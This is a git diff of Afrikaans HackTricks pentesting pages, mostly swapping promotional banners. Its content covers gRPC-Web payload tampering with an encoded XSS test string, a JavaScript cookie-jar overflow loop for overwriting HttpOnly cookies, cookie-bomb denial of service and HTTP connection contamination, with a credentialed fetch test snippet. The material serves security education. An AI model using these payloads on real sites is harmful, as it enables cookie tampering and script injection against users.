* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,53 +1,54 @@
# Pentesting gRPC-Web
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Manipulering van gRPC-Web-pakette**
gRPC-Web gebruik Content-Type: `application/grpc-web-text` in versoeke wat 'n soort protobuf in base64-geënkripteerde vorm is. Jy kan die [gprc-coder](https://github.com/nxenon/grpc-pentest-suite) hulpmiddel gebruik, en jy kan ook sy [Burp Suite-uitbreiding](https://github.com/nxenon/grpc-pentest-suite) installeer.
## **Manipulasie van gRPC-Web Payloads**
gRPC-Web gebruik Content-Type: `application/grpc-web-text` in versoeke wat 'n soort protobuf in base64-gecodeerde vorm is, jy kan die [gprc-coder](https://github.com/nxenon/grpc-pentest-suite) hulpmiddel gebruik, en jy kan ook sy [Burp Suite Extension](https://github.com/nxenon/grpc-pentest-suite) installeer.
### **Handmatig met gGRPC Coder Tool**
1. Dekodeer die pakket eerste:
1. Eerstens decodeer die payload:
```bash
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
```
2. Wysig die inhoud van die gedekodeerde payload
2. Wysig die inhoud van die gedecodeerde las
```
nano out.txt
2: {"Amin Nasiri Xenon GRPC"}
3: 54
7: {"<script>alert(origin)</script>"}
```
3. Enkodeer die nuwe vrag
3. Kodifiseer die nuwe payload
```bash
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
```
4. Gebruik uitvoer in Burp interceptor:
4. Gebruik uitvoer in Burp-interceptor:
```
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
```
### **Handleiding met gRPC-Web Coder Burp Suite-uitbreiding**
Jy kan die gRPC-Web Coder Burp Suite-uitbreiding gebruik in die [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) wat makliker is. Jy kan die installasie- en gebruiksinstruksies in sy bewaarplek lees.
### **Handleiding met gRPC-Web Coder Burp Suite Uitbreiding**
Jy kan die gRPC-Web Coder Burp Suite Uitbreiding in [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) gebruik wat makliker is. Jy kan die installasie- en gebruiksaanwysings in sy repo lees.
## **Ontleding van gRPC-Web Javascript-lêers**
Daar is ten minste een Javascript-lêer in elke gRPC-Web-toepassing. Jy kan die lêer ontleed om nuwe boodskappe, eindpunte en dienste te vind. Probeer die [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) instrument gebruik.
1. Laai die Javascript gRPC-Web-lêer af
## **Analiseer gRPC-Web Javascript Lêers**
Daar is ten minste een Javascript-lêer in elke gRPC-Web toepassing. Jy kan die lêer analiseer om nuwe boodskappe, eindpunte en dienste te vind. Probeer om die [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) hulpmiddel te gebruik.
1. Laai die Javascript gRPC-Web Lêer af
2. Skandeer dit met grpc-scan.py:
```bash
python3 grpc-scan.py --file main.js
```
3. Analiseer die uitset en toets die nuwe eindpunte en nuwe dienste:
3. Analiseer die uitvoer en toets die nuwe eindpunte en nuwe dienste:
```
Output:
Found Endpoints:
@ -144,16 +145,17 @@ grpc.gateway.testing.ClientStreamingEchoResponse:
* [Hacking in gRPC-Web Artikel deur Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
* [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,34 +1,5 @@
<details>
**`Cookie bomb`** behels **die toevoeging van 'n beduidende aantal groot koekies aan 'n domein en sy subdomeine wat 'n gebruiker teiken**. Hierdie aksie lei tot die slagoffer wat **oorgroot HTTP versoeke** na die bediener stuur, wat vervolgens **deur die bediener verwerp word**. Die gevolg hiervan is die induksie van 'n Denial of Service (DoS) spesifiek teiken op 'n gebruiker binne daardie domein en sy subdomeine.
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
'n Goeie **voorbeeld** kan gesien word in hierdie skrywe: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
</details>
**`Cookie-bom`** behels **die byvoeging van 'n aansienlike aantal groot koekies by 'n domein en sy subdomeine wat 'n gebruiker teiken**. Hierdie aksie lei daartoe dat die slagoffer **oorverdowwe HTTP-versoeke na die bediener stuur**, wat vervolgens deur die bediener **afgewys word**. Die gevolg hiervan is die indusering van 'n Diensweier (DoS) wat spesifiek op 'n gebruiker in daardie domein en sy subdomeine gemik is.
'n Goeie **voorbeeld** kan gesien word in hierdie verslag: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
En vir meer inligting kan jy hierdie aanbieding besigtig: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
</details>
En vir meer inligting, kan jy hierdie aanbieding nagaan: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)

View file

@ -1,19 +1,20 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Die webblaaier het 'n **limiet op die aantal koekies** wat hulle kan stoor vir 'n bladsy. As jy dus om een of ander rede 'n koekie wil **laat verdwyn**, kan jy die koekiehouer **oorvloei** aangesien die oudste een vooraf verwyder sal word:
Die blaaiers het 'n **grens op die aantal koekies** wat hulle vir 'n bladsy kan stoor. Dan, as jy om een of ander rede 'n **koekie wil laat verdwyn**, kan jy die **koekiepot oorloop** aangesien die oudste eene verwyder sal word voordat:
```javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
@ -25,25 +26,26 @@ for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}
```
Let daarop dat derdeparty-koekies wat na 'n ander domein verwys nie oorskryf sal word nie.
Let wel, dat derdeparty-kookies wat na 'n ander domein verwys nie oorgeskryf sal word nie.
{% hint style="danger" %}
Hierdie aanval kan ook gebruik word om **HttpOnly-koekies te oorskryf, aangesien jy dit kan verwyder en dan herstel met die waarde wat jy wil hê**.
Hierdie aanval kan ook gebruik word om **HttpOnly-kookies te oorgeskryf, aangesien jy dit kan verwyder en dan weer kan instel met die waarde wat jy wil**.
Kyk hierna in [**hierdie pos met 'n laboratorium**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
Kontroleer dit in [**hierdie pos met 'n laboratorium**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
{% endhint %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,43 +1,30 @@
# HTTP Verbinding Besmetting
# HTTP Connection Contamination
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Hierdie is 'n opsomming van die pos: [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**. Kyk dit vir verdere besonderhede!
**Dit is 'n opsomming van die pos: [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**. Kyk daarna vir verdere besonderhede!
Webblaaier kan 'n enkele HTTP/2+ verbinding hergebruik vir verskillende webwerwe deur middel van [HTTP-verbindingsamevoeging](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), met gedeelde IP-adresse en 'n gemeenskaplike TLS-sertifikaat. Dit kan egter bots met **eerste-versoek-roetebepaling** in omgekeerde proksi's, waarop volgende versoek na die agterkant verwys wat deur die eerste versoek bepaal is. Hierdie verkeerde roetebepaling kan lei tot sekuriteitskwessies, veral wanneer dit gekombineer word met wilde TLS-sertifikate en domeine soos `*.example.com`.
Webblaaiers kan 'n enkele HTTP/2+ verbinding hergebruik vir verskillende webwerwe deur middel van [HTTP connection coalescing](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), gegewe gedeelde IP adresse en 'n algemene TLS sertifikaat. Dit kan egter in konflik kom met **first-request routing** in omgekeerde proxies, waar daaropvolgende versoeke na die agterkant gelei word deur die eerste versoek. Hierdie verkeerde routing kan lei tot sekuriteitskwesbaarhede, veral wanneer dit gekombineer word met wildcard TLS sertifikate en domeine soos `*.example.com`.
Byvoorbeeld, as `wordpress.example.com` en `secure.example.com` albei deur dieselfde omgekeerde proksi bedien word en 'n gemeenskaplike wilde sertifikaat het, kan 'n blaaier se verbindingsamevoeging veroorsaak dat versoek na `secure.example.com` verkeerd verwerk word deur die WordPress-agterkant, wat kwessies soos XSS kan uitbuit.
Byvoorbeeld, as `wordpress.example.com` en `secure.example.com` albei deur dieselfde omgekeerde proxy bedien word en 'n algemene wildcard sertifikaat het, kan 'n blaier se verbinding coalescing versoeke na `secure.example.com` verkeerd verwerk deur die WordPress agterkant, wat kwesbaarhede soos XSS benut.
Om verbindingsamevoeging waar te neem, kan Chrome se Netwerk-tabblad of hulpmiddels soos Wireshark gebruik word. Hier is 'n uittreksel vir toetsing:
Om verbinding coalescing te observeer, kan Chrome se Netwerk-oortjie of gereedskap soos Wireshark gebruik word. Hier is 'n snit vir toetsing:
```javascript
fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) })
```
Die dreiging is tans beperk as gevolg van die skaarsheid van eerste-versoek roetebepaling en die kompleksiteit van HTTP/2. Die voorgestelde veranderinge in HTTP/3, wat die IP-adres-passingsvereiste verslap, kan egter die aanvalsvlak verbreed, waardoor bedieners met 'n wildcard-sertifikaat meer kwesbaar word sonder 'n MITM-aanval nodig te hê.
Die bedreiging is tans beperk weens die seldsaamheid van eerste-versoek routering en die kompleksiteit van HTTP/2. egter, die voorgestelde veranderinge in HTTP/3, wat die IP-adres ooreenkoms vereiste verslap, kan die aanvaloppervlak verbreed, wat bedieners met 'n wildcard sertifikaat meer kwesbaar maak sonder die behoefte aan 'n MITM-aanval.
Die beste praktyke sluit in om eerste-versoek roetebepaling in omgekeerde proksi's te vermy en versigtig te wees met wildcard TLS-sertifikate, veral met die koms van HTTP/3. Gereelde toetsing en bewustheid van hierdie komplekse, onderling verbonde kwesbaarhede is noodsaaklik vir die handhawing van websekuriteit.
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
</details>
Beste praktyke sluit in om eerste-versoek routering in omgekeerde proxies te vermy en om versigtig te wees met wildcard TLS-sertifikate, veral met die opkoms van HTTP/3. Gereelde toetsing en bewustheid van hierdie komplekse, onderling verbonde kwesbaarhede is van kardinale belang vir die handhawing van websekuriteit.

View file

@ -1,31 +1,33 @@
# Versoeksmokkelary in HTTP/2-afgraderings
# Request Smuggling in HTTP/2 Downgrades
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Kyk na die pos [https://portswigger.net/research/http-2-downgrades](https://portswigger.net/research/http-2-downgrades)**
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,29 +1,31 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
